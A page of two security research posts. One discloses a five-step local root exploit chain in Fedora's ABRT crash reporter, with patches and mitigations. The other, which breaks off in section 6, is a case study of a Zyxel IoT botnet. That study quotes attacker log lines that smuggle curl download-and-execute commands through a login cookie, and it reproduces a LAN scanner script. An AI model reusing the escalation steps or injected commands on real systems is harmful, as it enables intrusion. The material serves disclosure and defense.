Telekom Security

ABRTraryRoot: Local privilege escalation in Red Hat distributions

2026-08-10T00:00:00+00:00

A chain of five bugs in ABRT allows any unprivileged local user to write attacker-controlled content into the root crontab, resulting in arbitrary command execution as root. We call the vulnerability chain “ABRTraryRoot” because it abuses ABRT’s crash handling pipeline to achieve arbitrary root code execution. The full chain requires no user interaction beyond triggering a crash and runs in under 90 seconds, with the majority of that time just waiting for crond to execute the planted payload. This blog post is a continuation of our previous research on local privilege escalation vulnerabilities in userland applications on Linux-based operating systems (Pack2TheRoot and SetRootLanguage). The discovery is the result of targeted research into ABRT’s crash handling pipeline and its interaction with D-Bus APIs. The vulnerabilities were responsibly disclosed to Red Hat and assigned CVE IDs to them. Red Hat has acknowledged the vulnerabilities and published updates for supported Fedora releases on 2026-08-03.

Affected versions, fixes and mitigations

The following lists the affected components and versions that were tested during the research. Other versions may be affected as well.

Component	Version
OS	Fedora 43/44
ABRT	2.17.8-3.fc44
libreport	2.17.15-10.fc44
SELinux	Enforcing

The exploit was developed and confirmed on Fedora 44 using an unprivileged user. Red Hat Enterprise Linux is also affected, see the table below and Red Hat’s advisories for details.

Fix and mitigation

Updates are available for supported Red Hat Enterprise Linux and Fedora releases (see table below). ABRT was deprecated in RHEL 8 and is no longer shipped in RHEL 9 or later.

Releases Overview

Release	Status
Fedora 43	Fix available in 2.17.9-1.fc43
Fedora 44	Fix available in 2.17.9-1.fc44
Fedora Rawhide	Fix available in 2.17.9-1.fc45
Red Hat Enterprise Linux 6	Out of support scope
Red Hat Enterprise Linux 7	Fixes available
Red Hat Enterprise Linux 8	Fixes available
Red Hat Enterprise Linux 9+	Not affected (ABRT not shipped)

Recent Activity

If you’re running ABRT and don’t strictly need it, the safest move is to turn it off:

systemctl disable --now abrtd.service abrt-journal-core.service abrt-oops.service abrt-xorg.service

On Fedora, consider switching to systemd-coredump for crash handling. ABRT is being phased out in its favor anyway, and systemd-coredump doesn’t suffer from the same architectural issues. If removing ABRT isn’t an option, restrict local access to affected systems, since the entire chain requires a local user account to exploit.

Crashing into privilege

During targeted local privilege escalation research, we turned our attention to ABRT, the Automatic Bug Reporting Tool that ships by default on Fedora. ABRT monitors for application crashes, collects diagnostic data, and files bug reports. Sounds harmless, right?

What caught our eye was the architecture: when a crash occurs, ABRT spawns event handler shell scripts running as root that process files in a dump directory. If an attacker could influence what those scripts write and where they write it… then it’s game over.

So, it all started with a segfault. On purpose.

Understanding the crash pipeline

ABRT runs two system services as root. When an application crashes, ABRT picks up the crash dump and runs a series of shell scripts (as root) to collect system information (hardware details, log entries, etc.) and store them in a “dump directory”.

The key insight: these root-owned shell scripts write files into the dump directory using plain shell redirections (>). And while they’re doing that, there are D-Bus APIs that let unprivileged users interact with the same directory.

We thought: if we can redirect one of those root-owned shell scripts to write through a symlink pointing at the root crontab (/var/spool/cron/root), we own the box. But getting there required chaining five separate bugs.

The Bug Chain

Five bugs. Individually, each one is a nuisance at best. Chained together, they hand you a root shell. Here’s how we pieced it together.

Sneaking files into the dump directory (CVE-2026-54228)

The first thing we noticed: between the moment ABRT creates a dump directory and the moment event scripts start processing it, there’s a window of several seconds where nothing is locked down. During that gap, any local user can call SetElement over D-Bus to drop arbitrary files into the directory. The only check? That the crash “belongs” to you, which it does, because you triggered it.

So now we can plant files in the dump directory before anyone else touches them. Interesting. Let’s see what we can do with that.

Faking a legitimate crash

Here’s the first roadblock: ABRT validates whether the crashed binary belongs to an installed system package. Our custom crashing binary? Not a package. Crash report deleted. Chain over… unless we lie about it.

Using that first bug, we race to set the component field to “coreutils” before validation kicks in. ABRT checks, sees a known package name, shrugs, and moves on. Our crash report survives.

Pulling the rug mid-flight (CVE-2026-54229)

This is the most surprising one. There’s a D-Bus method called ChownProblemDir that changes the ownership of a dump directory to the requesting user. Perfectly safe… except for one thing: due to a locking oversight, it succeeds even while event scripts are actively running inside that directory.

Think about what that means. Root-owned shell scripts are happily executing, writing files, doing their thing. Meanwhile, we just took ownership of the directory they’re working in. We can now delete files, create symlinks, do whatever we want and the root process keeps running, completely unaware that the ground shifted beneath it.

Following the symlink to root’s crontab (CVE-2026-54230)

ABRT’s internal C code is actually careful about symlinks as it refuses to follow them when writing files. But the event handler scripts? They’re shell scripts. They write output with plain old > redirections. And shell redirections follow symlinks without a second thought.

So after we take ownership of the dump directory, we delete one of the files the event script is about to write (var_log_messages) and replace it with a symlink pointing at /var/spool/cron/root. When the root shell process gets around to writing that file, it happily follows our symlink and dumps content straight into the root crontab.

Now we just need to control what gets written.

Poisoning the well (CVE-2026-54231)

The event script that writes var_log_messages collects recent journal entries related to the crashed process. The journal. Which any user can write to.

Before triggering the crash, we stuff the system journal with log messages containing an embedded cron job. The trick is a newline character inside the log message. It causes our payload to land on its own line in the output. crond is forgiving: it ignores lines it can’t parse and executes the ones it can.

One minute later, crond picks up the new entry. A SUID root shell appears. Game over.

Putting it all together

The full attack plays out in about 90 seconds — most of which is just waiting for crond to tick.

First, we build a small binary that logs a cron payload into the system journal and then crashes itself. We run it a few times to seed the journal with our malicious entries. Then we trigger ABRT by crashing the binary one last time.

The moment ABRT creates the dump directory, we race to set the component field to “coreutils” before validation runs. Once the crash survives that check, we call ChownProblemDir to yank ownership away while the event scripts are still running. Now we own the directory. We delete var_log_messages and drop a symlink to /var/spool/cron/root in its place.

The root event script, still chugging along, writes our poisoned journal entries through the symlink and straight into the root crontab. Within a minute, crond executes our payload and creates a SUID root shell. Done.

The actual race window is roughly 64ms wide. We win it reliably by flooding the journal beforehand — this slows down one of the event script’s journalctl queries just enough to keep the window open.

But what about hardening?

Fedora has a solid stack of mitigations deployed. Surely one of them catches this? We checked. None of them do.

ProtectSystem=full shields /usr, /boot, and /etc — but /var/spool/cron/ sits outside that perimeter. PrivateTmp=true isolates /tmp, which doesn’t matter because we’re writing to the cron spool, not tmp. SELinux is enforcing, but the event script’s domain is effectively unconfined and happily writes to the cron spool. NoNewPrivileges=yes prevents ABRT’s own children from gaining privileges through SUID — but crond is a completely separate service that creates our SUID binary independently.

Every mitigation covers a different surface. None of them overlap on the path we’re taking. Defense in depth is effective only when the individual layers address the same attack paths — here, each layer guards a different perimeter, leaving this one uncovered.

Proof-of-Concept

The exploit consists of a Python script that orchestrates the full chain and a small C helper binary that injects the cron payload into the system journal before crashing. The full chain executes in under 90 seconds (mostly waiting for crond’s one-minute tick) and produces a SUID root shell. The PoC code is not being shared publicly at this time. However, the following screenshot shows the final result: a SUID root shell created by our cron payload, which was written into the root crontab by the ABRT event scripts.

Advisories

CVE-2026-54228: TOCTOU race condition in abrt-dbus SetElement allows arbitrary file writes to dump directories
CVE-2026-54229: ChownProblemDir succeeds during active post-create event processing due to inadequate locking
CVE-2026-54230: Event handler scripts follow symlinks when writing output files, allowing arbitrary file overwrites
CVE-2026-54231: Unsanitized systemd journal content written to dump directory files enables content injection

Credits

The vulnerability chain was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems, assisted by Claude Code with model Opus 4.6.

If you have questions regarding this research or are interested in our security offerings, including Red Team assessments, feel free to contact [loading (JS)…].

Timeline

2026-05-04: Initial vulnerability report to Red Hat Security Team.
2026-05-06: Acknowledgment of receipt and initial triage.
2026-06-12: Red Hat confirms the vulnerabilities and publishes CVE IDs.
2026-06-15: Requested patch status update from Red Hat. Red Hat referred to the publicly available Bugzilla reports.
2026-08-03: Red Hat publishes updates for Fedora
2026-08-10: Publication of this blog post.

From Infected Zyxel to Exposed C2: A Case Study in IoT Botnet Operations

2026-07-29T00:00:00+00:00

This report documents the identification of previously concealed operational infrastructure, including an exposed operator working directory and command-and-control (C2) environment, following the investigation of low-volume authentication activity and a customer-authorized forensic analysis of a compromised Zyxel device.

An evidence-first analysis of an exposed operator working directory and C2 environment

Executive Summary

This investigation demonstrates how low-volume identity telemetry can expose otherwise concealed activity involving compromised embedded devices and backend infrastructure. What began as a focused authentication hunt provided visibility into an operation that used compromised devices for access, staging, proxying, tasking, and scanning.

Forensic analysis of the customer-provided Zyxel device identified two likely independent unauthorized activity clusters: a lightweight SOCKS proxy foothold and a broader proxy and C2 ecosystem. Continued monitoring of the second cluster led to exposed backend directories containing artifacts that correlated with observations from the compromised device. Device-side evidence, including process trees, web-authentication logs, staged payloads, memory artifacts, and scanner execution traces, provided the runtime context needed to link observed activity to the operator infrastructure.

Analysis of the exposed backend server supported the device-side findings and indicated an active operator workspace rather than a standalone malware repository or release package. The recovered environment included C2 components, SQLite state, task results, payload-generation logic, staging services, scanner tooling, callback utilities, and VS Code Remote traces.

Our key findings are operational rather than attributional. The evidence supports a persistent backend environment linked to observed device compromise and indicates that infected devices were used beyond basic proxy access. We therefore focus on the operational links we can support: device compromise, backend infrastructure, tasking, scanning, and proxy-capable runtime deployment.

1. From Low-Volume Auth Activity to Device Access
2. Compromised Zyxel Device Analysis
3. The Infrastructure Shift
4. What Was Exposed
5. Shell History: How the Exposed Host Was Operated
6. Reconstructing the Operator Workflow
7. Analytical Limits and Open Questions
8. Conclusion
9. Infrastructure and IOC Notes

1. From Low-Volume Auth Activity to Device Access

During routine threat hunting for suspicious authentication activity, we identified a limited set of structured Entra ID sign-in attempts targeting Azure PowerShell. Individually, these attempts appeared low-risk. When analyzed collectively, however, they exhibited a consistent pattern:

narrow activity window
repetitive request structure
use of an Internet Explorer 11 user agent
low login-attempt volume
focused targeting
no successful sign-ins because MFA was enabled
activity occurring during normal business hours in UTC+8

These characteristics were consistent with Quad7-style authentication activity described in MITRE ATT&CK C0055.

The indicator set suggested coordinated activity rather than opportunistic scanning. We used the observed authentication activity as a pivot and shared selected Entra source IPs with a trusted information-sharing group. Additional sources operating in separate environments reported similar observations, providing sufficient confidence to compare identity-side telemetry with infrastructure-side pivots. During this collaboration, a C2 indicator was shared and used as a pivot for NetFlow analysis to identify connected infrastructure.

We correlated two datasets to assess infrastructure overlap and determine whether the authentication activity aligned with observed C2 communications: Entra authentication source IPs and NetFlow telemetry associated with the C2 indicator. While the datasets shared notable similarities, they were not fully consistent and required further analysis.

The differences between the two telemetry perspectives are summarized below:

Entra source-IP view

Entra source-IP device fingerprint	Distribution
Zyxel USG40	22%
Zyxel USG60	17%
Zyxel USG20	12%
Zyxel ZyNOS other	8%
Zyxel USG20W	8%
Zyxel USG310	5%
Zyxel NSG50	5%
Zyxel USG110	4%
Zyxel USG40W	3%
Zyxel NSG100	3%
Zyxel USG210	2%
Zyxel USG60W	2%
Zyxel NSG300	1%
unknown	9%

C2 / NetFlow view

C2 / NetFlow device fingerprint	Distribution
D-Link DIR-600	16%
Zyxel USG20W	13%
Zyxel USG20	11%
Zyxel Unknown	10%
Zyxel USG60	8%
Zyxel USG40	6%
Zyxel USG210	5%
Zyxel ZyNOS other	3%
D-Link DIR-100	2%
Zyxel USG110	1%
Zyxel USG60W	1%
Zyxel VPN 100	1%
Zyxel USG310	1%
Zyxel USG40W	1%
Zyxel NSG50	1%
unknown	20%

The Entra source-IP view was dominated by Zyxel fingerprints. By contrast, the C2 / NetFlow view, limited to AS3320, covered a similar number of unique IPs over a shorter observation window but reflected a broader embedded-device mix.

The Entra dataset contained approximately 150 unique IPs over 30 days. The C2 / NetFlow dataset contained approximately 150 unique IPs over 7 days. This difference is relevant because the identity-side telemetry narrowed the investigation primarily toward Zyxel devices, while the infrastructure-side telemetry indicated a broader embedded-device pool.

One customer IP appeared in both datasets. After contacting the customer, we confirmed that the affected system was a Zyxel NSG100 and obtained consent to acquire it for forensic analysis and controlled honeypot monitoring.

This correlation provided sufficient basis to continue the investigation. It established an investigative lead linking low-volume authentication activity, embedded-device telemetry, and C2-adjacent infrastructure.

2. Compromised Zyxel Device Analysis

The customer-provided Zyxel device gave us the first host-side view of the operation. Instead of relying only on identity telemetry, NetFlow, and external fingerprints, we gained access to the live operational state of the compromised system, including process trees, filesystem paths, environment variables, open sockets, live network behavior, and memory from active processes.

The device was a Zyxel NSG100 running the most recent firmware available for that model at the time of acquisition. All artifacts described below were located in writable temporary directories (/tmp and /var/tmp), so none of the observed infections survived a reboot.

The device showed at least two operationally distinct activity clusters.

2.1 `zysocks5` Cluster

We name this cluster after its most visible artifact, zysocks5. It behaved like a lightweight SOCKS proxy deployment: it exposed a SOCKS listener, used zysocks5.auth, and appeared focused on proxy access rather than a larger tasking framework.

On the customer device, this cluster left a small set of files under /tmp. The authentication file is included as an artifact because it was referenced by the active command line (see the table below). Its observed format was consistent with a username:password pair, consisting of two six-character fields separated by a colon.

Artifact / indicator	Observed role	Indicator
`zysocks5`	SOCKS listener binary	`46ab8d0ccb961dc28218f1ff31b429363634f6b1a9b29622d8736fc2f214da9a`
`wget`	downloaded helper binary	`3cfbfbb967dc36996a345a7a79ee28112be0a082c8523b6fbf9bac824ef996f0`
`wget.py`	Python fetcher for `http://194.156.98[.]120/mips64n32/wget`	`47dd7a3890e85e92b728e667228bc119b299cf53f8f648d42fbab2a9948d0c33`
`zysocks5.auth`	likely `username:password` credential file passed with `-a`; two six-character fields	present, value withheld
staging host	host referenced by `wget.py` for `mips64n32/wget` delivery	`194.156.98[.]120`
web-CGI source	source observed in Zyxel web logs for `export-cgi` and `file_upload-cgi` requests	`194.195.90[.]145`

The zysocks5 and wget binaries were not unique to this device. Targeted public-reputation and trusted-source pivots had previously seen both binaries on IP addresses that prior reporting associated with Quad7. A trusted source also observed multiple outbound connections from the running zysocks5 process to Entra ID endpoint IPs, tying the device-side proxy foothold back to the identity-facing activity without proving operator identity.

Representative runtime evidence showed the process listening on TCP 46751 as UID 99 / nobody:

tcp 0 0 0.0.0.0:46751 0.0.0.0:* LISTEN 99 379852 24071/zysocks5
nobody 24071 ... zysocks5 -p 46751 -a zysocks5.auth -d

The process environment explained how the binary had been started. On Unix-like systems, a child process can inherit environment variables from the program that launched it. Here, /proc still preserved request fields from the Zyxel web interface:

REQUEST_URI=/cgi-bin/file_upload-cgi?v=/dummy.html
PWD=/tmp
_=/tmp/zysocks5

Web logs from the same period showed requests for exporting the startup configuration followed by file_upload-cgi POSTs from 194.195.90[.]145 — evidence that zysocks5 was launched through the Zyxel web-CGI path rather than from an interactive local shell.

Based on that file and connection context, we assess that this cluster was likely the activity we saw in the initial threat hunt. It also represents another possible connection to the Quad7 context, without proving attribution to Quad7. The remainder of this blog post does not focus on the zysocks5 cluster, which remains under separate monitoring and analysis. Instead, this post follows the distinct xserver/MIPS activity that subsequently linked the infected Zyxel device to the exposed backend environment.

2.2 `xserver` Cluster

This cluster was also observed on the acquired compromised Zyxel device and is the focus of the remainder of this report. On the device, it appeared as a staging chain with compact binaries, tokenized delivery paths, decoded configurations, and a larger runtime.

2.2.1 Staging, Implants, and Delivery Shifts

Earlier `/tmp/` staging

The device did not exhibit a single, consistent staging pattern. Instead, at least three generations of staging activity were observed. The earliest observed chain used /tmp/, a writable temporary directory on the Zyxel. Based on timestamps, process lineage, and file context, three files could be tied to this cluster:

/tmp/
|-- mips
|-- 83ef
`-- 2e89

Here, /tmp/83ef and /tmp/2e89 were compact binaries with random-looking local names. In addition to downloader-like behavior, both binaries exposed Linux connection-state inspection strings, including /proc/net/tcp, /proc/net/tcp6, /proc/%s/fd, /proc/%s/fd/%s, and /proc/%d/exe. Binary comparison showed that the two files shared the same .text, .rodata, and .got sections, while .data differed, consistent with configuration variation inside the same build line. The observed /tmp/mips file was a larger runtime launched by that staging chain.

Zyxel webserver logs preserved the delivery commands for the two compact stagers. Line breaks in the log excerpts below are added for readability:

[pid 21317] [client 38.180.190[.]115:37222]
  The client browser has arip cookie.
  arip=127.0.0.1|curl -o /tmp/83ef \
    http://38.180.190[.]115:23323/hqsz720f2a

[pid 11053] [client 38.180.190[.]115:58590]
  The client browser has arip cookie.
  arip=127.0.0.1|curl -o /tmp/2e89 \
    http://38.180.190[.]115:23323/hqsz494354

Static and sandbox triage also showed Mirai/Gafgyt-like traits in this first stager generation. This is code and behavior resemblance only; it does not establish actor attribution, nor a claim that the later stagers belong to Mirai/Gafgyt.

The process tree then showed how one branch of the chain executed. A shell command created from a web request launched /tmp/83ef, and /tmp/83ef launched /tmp/mips:

sh -c /usr/sbin/matchfp 38.180.190[.]115 127.0.0.1|/tmp/83ef
`-- /tmp/83ef
    `-- /tmp/mips

As with zysocks5, the process environment preserved the launch context. Here, /proc/$mips_pid/environ still held request metadata from the Zyxel web-authentication endpoint:

REQUEST_URI=/weblogin.cgi
HTTP_COOKIE=arip=127.0.0.1|/tmp/83ef
REMOTE_ADDR=38.180.190[.]115

Three fields carry the chain: REQUEST_URI names the web-authentication handler, HTTP_COOKIE preserved the arip value containing the staged local path, and REMOTE_ADDR preserved the source of that request. That is enough to reconstruct the launch path without knowing the underlying vulnerability: a Zyxel web request led to the local staging binary, and from there to the running /tmp/mips runtime.

We developed an initial extractor for the legacy format and decoded an XOR-obfuscated configuration record from .data:

id16: <redacted unresolved 16-byte value>
port: 443
host: 38.180.190[.]115
arch: mips
callback_url: <redacted customer-specific callback URL>

Later reinfection logs from the controlled device showed a second generation. The delivery pattern still used /tmp/, random-looking four-character local filenames, and tokenized hqsz* paths, but the binaries had moved to a newer appended-configuration format:

2026-05-06T05:56:17+00:00 src="94.74.85[.]247:0" dst="0.0.0.0:0"
  msg="weblogin.c-main(2142) arip = 127.0.0.1|curl -o /tmp/30ed \
    http://94.74.85[.]247:23323/hqsz97cfb9"

2026-05-06T05:56:17+00:00 src="94.74.85[.]247:0" dst="0.0.0.0:0"
  msg="weblogin.c-main(2142) arip = 127.0.0.1|curl -o /tmp/89c1 \
    http://94.74.85[.]247:23323/hqszb795ea"

We extended the extractor to support this format and decoded the files through an EOF trailer path: trailer magic 0xDEAEC0DE, CRC32 over the encrypted blob, and an RC4-decrypted configuration. The new layout was:

id16: <redacted unresolved 16-byte value>
port: 8888
host: sd.clubde[.]xyz
arch: mips

During that phase of the investigation, we observed two substantially similar hqsz files as part of the same infection flow. Both files had a similar decoded configuration structure, but the reason for two separate files remained unresolved. This second generation remains unattributed beyond the infrastructure and runtime cluster followed in this report.

Later `/var/tmp/` staging

Later observations showed staging move to /var/tmp/, followed shortly by another visible delivery change:

/var/tmp/
|-- abc
|-- mips
`-- tmpfile

The logs show the same web-authentication injection surface used to stage and execute /var/tmp/abc:

2026-05-23T03:57:31+00:00 src="94.74.85[.]247:0" dst="0.0.0.0:0"
  msg="weblogin.c-main(2142) arip = 127.0.0.1|curl -o /var/tmp/abc \
    http://94.74.85[.]247:1098/mips"

2026-05-23T03:57:37+00:00 src="94.74.85[.]247:0" dst="0.0.0.0:0"
  msg="weblogin.c-main(2142) arip = 127.0.0.1|chmod 777 /var/tmp/abc"

2026-05-23T03:57:38+00:00 src="94.74.85[.]247:0" dst="0.0.0.0:0"
  msg="weblogin.c-main(2142) arip = 127.0.0.1|/var/tmp/abc"

This sequence shows the later chain directly: download the remote path /mips as the local file /var/tmp/abc, mark it executable, and launch it from /var/tmp/.

The naming is easy to misread. In this later chain, mips first appears as the filename on the HTTP staging endpoint, but the downloaded file is saved locally as /var/tmp/abc. After /var/tmp/abc runs, the device can still end up with the same larger local runtime named /var/tmp/mips. In other words, remote /mips and local /var/tmp/abc refer to the same downloaded artifact, while local /var/tmp/mips is a separate runtime.

Compared with the second /tmp generation, the tokenized hqsz* path disappeared from the visible delivery URL. The remote file was now a stable /mips path, saved locally as /var/tmp/abc; in later reinfections, that source path and local filename remained consistent.

The same EOF-trailer extraction path still worked, and the decoded structure stayed consistent with the second-generation hqsz* stagers: sd.clubde[.]xyz, port 8888, and mips. What changed here was the staging path and the naming, while the config family stayed the same.

The later hqsz* and /var/tmp/abc stagers carried encrypted appended configuration and connected to operator infrastructure. Some later builds also exposed proxy-related functionality.

The two configuration records shown above are examples, picked because they mark the format change. We did not need config extraction to notice the infrastructure moving. Each time the honeypot was re-infected, the delivery logs and the captured traffic already named the new staging and C2 host. Config extraction came afterwards. It confirmed what the traffic had shown and, more importantly, let us tie a specific host and port to a specific sample.

2.2.2 The Large `mips` Runtime on the Device

This section focuses on the larger /tmp/mips or /var/tmp/mips runtime introduced above. The analysis is based on process maps, reconstructed stack/environment data, and memory extracted from the active process.

The process context linked the larger mips runtime back to the preceding staging chain. The recovered process environment did not contain direct command-line login flags for the proxy runtime. Instead, reconstructed stack/environment data preserved the CGI/request context used during staging. The arip cookie referenced /var/tmp/abc, the compact binary downloaded and executed immediately before the larger mips runtime appeared on the device.

This indicates that the larger runtime was launched through, or handed off from, the compact staging artifact, rather than started directly with proxy credentials on the command line. The exact parser or handoff mechanism remains unresolved.

Memory analysis of the running mips process then recovered a URL-encoded WebSocket configuration payload associated with api.iproyal[.]com. IPRoyal/Pawns refers to a residential-proxy client ecosystem; the evidence supports protocol and runtime compatibility with this style of reverse-proxy agent, not provider-side attribution. The decoded structure included a reverse-proxy server, proxy credentials, and metadata declaring driver_alias as ssh-reverse-proxy:

{
  "ip": "<proxy_server_ip>",
  "port": 9494,
  "username": "<redacted>",
  "password": "<redacted>",
  "Meta": {
    "cpus": "4",
    "device_id": "",
    "driver_alias": "ssh-reverse-proxy",
    "hostname": "",
    "ip_hostnames": "",
    "os_name": "MerryIoTHotspotV<redacted_suffix>",
    "ram_size": "63",
    "user_ip": "<redacted_victim_ip>",
    "username": ""
  }
}

The Meta block deserves a second look. The agent registers the device as a MerryIoTHotspot with four CPUs and 63 GB of RAM. Our device is a Zyxel NSG100. Whatever produces this metadata is not reading it from the host it runs on, which limits how far provider-side device classification can be trusted for this kind of enrollment.

Runtime memory also contained access_token, available_ip, available_port, server_ip, server_port, traffic_sold, forwarded-tcpip, and status messages such as hi and balance_ready. Those strings matter because they describe live reverse-proxy state: authentication material, assigned relay endpoints, traffic accounting, SSH tunnel forwarding, and readiness messages. This is state read out of a running process. The agent was relaying traffic while we observed it.

We classify the runtime as an IPRoyal/Pawns-compatible reverse-proxy agent observed on the compromised Zyxel; exact lineage remains open.

2.2.3 Local-Network Scanner: `gogo.sh` and `gogo_linux_mips`

After the stager sequence had moved beyond the first Mirai/Gafgyt-like generation, we found another device-side capability: local-network scanning. On the controlled Zyxel, both gogo.sh and gogo_linux_mips were present, and /tmp/1.json contained scanner output from the private network reachable from the device.

gogo.sh is a launcher. It changes into /tmp, removes /tmp/1.json, derives private RFC1918 /24 ranges from ifconfig, excludes loopback, and starts the scanner in the background:

#!/bin/sh

cd /tmp

rm -f /tmp/1.json

IPS=$(ifconfig | awk '/inet /{
  gsub(/addr:/, "")
  split($2, a, ".")
  print a[1]"."a[2]"."a[3]".0/24"
}' | grep -v '127.0.0' | grep -E '^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)' | sort -u | tr '\n' ',')

echo "Extracted IPs: ${IPS%,}"

if [ -z "${IPS%,}" ]; then
  echo "[-] No private IP found!"
  exit 1
fi


/tmp/gogo_linux_mips -i "${IPS%,}" -p top2,win,db -ev -t 50 -f /tmp/1.json -o json &

The output file is significant because it demonstrates execution, not only deployed capability. The recovered /tmp/1.json began with the scanner run configuration and contained 18 service findings across seven private RFC1918 hosts reachable from the controlled device. The findings included SSH, FTP, SMB/NetBIOS, HTTP/HTTPS services, and HTTP fingerprint matches consistent with Fortinet/FortiGate-style detections. The file confirms that the scanner enumerated live devices reachable from the compromised router.

The scanner binary, gogo_linux_mips, is a stripped, statically linked MIPS big-endian Go executable. The filename, CLI shape, and port-profile flags are consistent with the public chainreactors/gogo scanner project, which describes itself as a controllable automated scanning engine for red teams. Strings indicate DNS, TCP, UDP, HTTP, and socket fingerprinting logic, including token/finger match concepts.

The full sequence is therefore visible end to end: gogo.sh deployed to an infected device, private subnets derived from the device’s own interfaces, gogo_linux_mips run against selected service profiles, and JSON results written to /tmp/1.json.

3. The Infrastructure Shift

The Zyxel evidence gave us concrete anchors for continued monitoring of the xserver cluster: staging hosts, tokenized delivery paths, decoded C2 configuration, recurring reinfection behavior, and the larger runtime launched on the device. The starting point for that monitoring was the C2 indicator shared through the trusted group described in Section 1. Using those anchors, we tracked four C2 and staging generations between December 2025 and our June 2026 monitoring window. Each generation surfaced the same way: the honeypot was re-infected, and the delivery logs and captured traffic named a new host.

Monitoring point	Host	What we saw
Customer infection	`38.180.190[.]115`	Relevant `xserver` staging and C2 address on the affected Zyxel.
Later follow-up	`154.213.177[.]40`	Similar activity continued on a later host.
Early April 2026	`13.210.186[.]13`	The same cluster continued from another host.
Later monitoring	`94.74.85[.]247`	Continued staging behavior; a later DNS check resolved `sd.clubde[.]xyz` to this host.

At some transition points, old and new infrastructure connections briefly overlapped. We therefore treated these hosts as adjacent generations of the same cluster, while keeping each observation tied to the behavior seen on that specific host.

During April 2026, the host 13.210.186[.]13 changed the scope of the analysis because routine validation showed exposure beyond a staging endpoint. Several services returned directory listings and revealed operator-side working directories. We use dump throughout the rest of this report to refer to the collected copy of those exposed directories and files. By the time activity later moved to 94.74.85[.]247, that additional exposed surface was no longer available.

A note on collection: everything described below came from services that returned directory listings to unauthenticated HTTP requests. We used no credentials, exploited no vulnerability, and wrote nothing to the host. The recovered binaries and databases were analyzed and executed in a network-isolated lab.

The dump itself was not a single clean generation of tooling. It contained multiple versions and several references to the earlier 38.180.190[.]115 infrastructure. Based on the later device and honeypot observations, we treat those 38.180.190[.]115-referencing binaries as older generation artifacts that were likely no longer the active delivery path when the dump was collected.

Observed exposed service categories on 13.210.186[.]13 included:

SSH
plain HTTP staging
Python SimpleHTTPServer directory listings
Go net/http services
PHP CLI server
Uvicorn

Some services behaved like staging endpoints and directly served MIPS payloads. Additional exposed services provided access to broader directory listings, revealing further portions of the operator working directories. The following section details the recovered artifacts and the evidence connecting server-side files with activity observed on the compromised device.

4. What Was Exposed

The exposed host revealed an operator working directory rather than a clean release package or isolated malware repository. The recovered material included overlapping component generations, copied binaries, SQLite state, task output, upload directories, temporary payloads, scan results, development artifacts, and operational tooling.

The most relevant recovered areas combined C2 framework components, staging services, operator-side scan tooling, and workflow artifacts. Several of these components implement tasking: an operator sends a command to an implant and later collects the result, typically as a stored task/result record rather than an interactive shell session.

Database note: within the recovered frameworks, .bdb files were used as SQLite victim or node inventories (backed by tables literally named clients in the recovered schemas), while .cdb files were used as SQLite listener or configuration stores. Schemas varied by component and generation, so treat these extensions as conventions local to this toolset.

Artifact	Notable contents	Working interpretation
`xserver/`	`ts`, `es`, `fs`, `.bdb`, `.cdb`, `beacons.bin`, `plugins.bin`, `ts_upload/gogo*`	TeamServer-style framework with node/listener databases, beacon/plugin material, file/post services, and the LAN scanner pair.
`move/`	`c2`, `c2new/c18`, `c2old/c2_old`, `es_new`, `task_results/`, `fserver/`, `dnslog/`, `df/`	Broad C2 and support framework covering victim state, listener surfaces, tasking, result processing, short-token file delivery, DNSLog support, and MIPS utilities.
`.vscode-server/`	Remote-SSH server files, edited tooling, terminal/session logs, tunnel/client traces	Operator workflow evidence from VS Code Remote; not malware by itself.
`.bash_history`	Interactive shell commands for setup, service management, archive extraction, staging, and runtime checks	Host-level operator workflow evidence separate from the VS Code Remote artifacts.
`dnslog/` and `httplog/`	DNS callback logging, HTTP token logging, check/debug endpoints	Callback and token-verification tooling used around staging and task workflows.
`wget/`	Router/web-target payload samples and staging scripts	Payload samples and download/staging helpers.
`nmap/`	Host lists, sorted scan results, Python virtualenv, helper scripts	Operator-side external scan output and enrichment tooling; despite the folder name, it was not simply a copy of real `nmap`.
`df/`	Standalone MIPS ELF sibling of the `move/df` utility	Config-varied sibling of `move/df/mips` with the same connection-state utility role, related to the early `83ef` / `2e89` utility line.
`ts/`	Standalone `ts` binary, `.bdb`, `.cdb`, `ko.bin`, `plugins.bin`	Related standalone TeamServer build; unpacked Go metadata referenced `teamserver (devel)`, and the bundle shared core TeamServer roles with `xserver/ts` while remaining distinct by hash and feature surface.
Root-level artifacts	`c18`, `1111`, `ddd`, `1`, `.bdb`, `.cdb`, `move.taar`	Mixed runtime state, copied binaries, launchers, and an imported framework archive.

The table above is intended as an operational map of the exposed environment rather than a full technical breakdown. We conducted substantially deeper component-level analysis of the recovered frameworks, databases, protocol handling, payload containers, tasking logic, VS Code Remote traces, and supporting tooling. We are open to technical exchange with interested defenders, researchers, and trusted partners where additional detail would support validation, detection, or follow-up analysis.

5. Shell History: How the Exposed Host Was Operated

The recovered .bash_history provided host-level evidence of operator workflow. The command history captured interactive setup and administration of the exposed C2 host, rather than activity generated by an implant or automated script.

High-signal command clusters include:

SSH hardening or access changes: edits to /etc/ssh/sshd_config, PasswordAuthentication, 60-cloudimg-settings.conf, and repeated systemctl restart ssh.
Long-running component management through screen: sessions named c2old, es, dnslog, tftp, wget, df, ts, es1, fs1, and httplog.
Archive/deployment activity: tar -xf move.taar, removal and re-extraction of move/, and later copying ts, beacons.bin, and plugins.bin between uploads/, ts_upload/, and the xserver/ root.
Tooling and service workspace setup: creation of dnslog/, wget/, df/, httplog/, xserver/, and nmap/.
TFTP setup and troubleshooting: installation of tftpd-hpa, edits to /etc/default/tftpd-hpa, attempts to log TFTP activity, and repeated checks of UDP :69.
HTTP staging: PHP and Python HTTP servers on non-standard ports, including attempts under wget/, totolink/asp/, and xserver/tstmp/.
Public-scan workspace setup: creation of nmap/, installation of nmap, creation of a Python virtual environment, installation of fastapi and uvicorn, execution and editing of server.py, and use of a tmux session named nmap.
Runtime checks: repeated netstat, ps, killall fserver, screen -r, top, ufw, iptables, and service status commands.

The history tells us what was installed, started, restarted and reconfigured over time. It says nothing about which of those components ran simultaneously.

It does explain the directory layout we recovered: several folders were created during interactive administration, components were run in detached terminal sessions, and tooling was repeatedly copied, restarted, and reconfigured. This was a server under hands-on maintenance, hosting multiple C2 and support components. Who that operator was, the history does not say.

6. Reconstructing the Operator Workflow

